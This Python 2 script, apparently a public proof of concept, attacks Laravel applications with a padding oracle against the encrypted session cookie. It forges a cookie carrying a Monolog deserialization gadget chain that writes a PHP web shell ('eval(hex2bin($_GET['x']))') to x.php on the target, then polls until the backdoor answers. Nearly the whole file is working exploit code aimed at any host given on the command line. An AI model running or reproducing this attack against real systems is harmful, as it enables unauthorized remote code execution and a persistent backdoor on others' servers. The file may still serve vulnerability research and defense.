#! /usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function

import re
import sys
import json
import struct
import base64
import requests
from optparse import OptionParser


def init_parser():
    print("")
    print("=== POC for laravel RCE ===")
    print("=== by fate0            ===")
    print("=== fate0@fatezero.org  ===")
    print("=== weibo.com/fatez3r0  ===")
    print("")
    usage = "Usage: %prog --host http://www.fatezero.org"
    parser = OptionParser(usage=usage, description="POC for laravel RCE")
    parser.add_option("--host", type="str", dest="host", help="remote host name")
    return parser


class LaravelOracle(object):
    """
    提供32位的payload，也就是明文P
    返回相对应的32byte IV
    """
    block_size = 32

    def __init__(self, domain, plaintext, ciphertext):
        self.domain = domain
        self.timeout = 7
        self.re_pattern = re.compile("Error\sat\soffset\s\d{1,2}\sof\s([\d]{1,2})\sbytes", re.DOTALL | re.M)
        self.plaintext = bytearray(plaintext)  # 32byte的payload
        self.ciphertext = bytearray(ciphertext)  # 32byte的ciphertext
        self.cv = bytearray()   # 正确的cv (中间值)
        self.iv = bytearray()
        self.cookie = {
            'mac': 0,
            'value': self.ciphertext,
            'iv': bytearray('0'*32)
        }
        self.modify_cookie_mac()

    @staticmethod
    def add_padding(value):
        """
        对value进行padding
        """
        pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size)
        return "{value}{padding}".format(value=value, padding=chr(pad)*pad)

    @staticmethod
    def format_cookie(cookie):
        """
        将易操作的cookie转换成laravel的cookie
        """
        tmp_cookie = dict()
        send_cookie = dict()

        tmp_cookie['iv'] = base64.b64encode(cookie['iv'])
        tmp_cookie['value'] = base64.b64encode(cookie['value'])
        tmp_cookie['mac'] = int(cookie['mac'])

        send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie))
        return send_cookie

    def modify_cookie_iv(self, index):
        if len(self.cv) != index:
            print("[-] Something Wrong")
            sys.exit()

        tmp_append = bytearray()
        for each_c in self.cv:
            tmp_append.append(each_c ^ (index+1))

        self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append

    def modify_cookie_mac(self):
        """
        获取正确的mac
        一个32byte的分组，只有1个正确的mac
        """
        while True:
            send_cookie = self.format_cookie(self.cookie)
            response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
            if response.status_code == 500:
                return True
            self.cookie['mac'] += 1

    def guess_cookie_iv_byte(self, index, value):
        """
        猜测一个字节的IV
        """

        self.cookie['iv'][LaravelOracle.block_size-index-1] = value
        send_cookie = self.format_cookie(self.cookie)
        response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)

        re_result = self.re_pattern.findall(response.content)
        if not re_result:
            if index != 31:
                return False
            if response.status_code == 200:
                self.cv.insert(0, value ^ (index+1))
                return True
        elif int(re_result[0]) >= LaravelOracle.block_size - index:
            return False
        else:
            self.cv.insert(0, value ^ (index+1))
            return True

    def exploit(self):
        for index in xrange(32):
            self.modify_cookie_iv(index)
            for value in xrange(256):
                if self.guess_cookie_iv_byte(index, value):
                    break
            print(index, hex(self.cv[0]))

        for p_char, cv_char in zip(self.plaintext, self.cv):
            self.iv.append(p_char ^ cv_char)


def main():
    parser = init_parser()
    option, _ = parser.parse_args()
    domain = option.host

    if not domain:
        parser.print_help()
        sys.exit(0)

    domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
    domain = domain if not domain.endswith('/') else domain[:-1]

    cookie = dict()
    cookie['mac'] = 0

    payload = ('''O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29'''
               ''':"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:26:"/var/www/blog/public/x.php";}'''
               '''s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php '''
               '''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}''')

    padding_payload = LaravelOracle.add_padding(payload)
    payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload))

    ciphertext = bytearray('0'*32)
    for each_payload_block in payload_block:
        print("[plaintext] {payload_block}".format(payload_block=each_payload_block))
        print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32]))))
        LO = LaravelOracle(domain, each_payload_block, ciphertext[:32])
        LO.exploit()
        print("[iv] {iv}".format(iv=base64.b64encode(LO.iv)))
        ciphertext = LO.iv + ciphertext

    cookie['iv'] = ciphertext[:32]
    cookie['value'] = ciphertext[32:]
    cookie['mac'] = 0

    while True:
        send_cookie = LaravelOracle.format_cookie(cookie)
        requests.get(domain, cookies=send_cookie, timeout=7)
        if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200:
            print("cookie: \n{cookie}".format(cookie=send_cookie))
            return
        cookie['mac'] += 1


if __name__ == '__main__':
    main()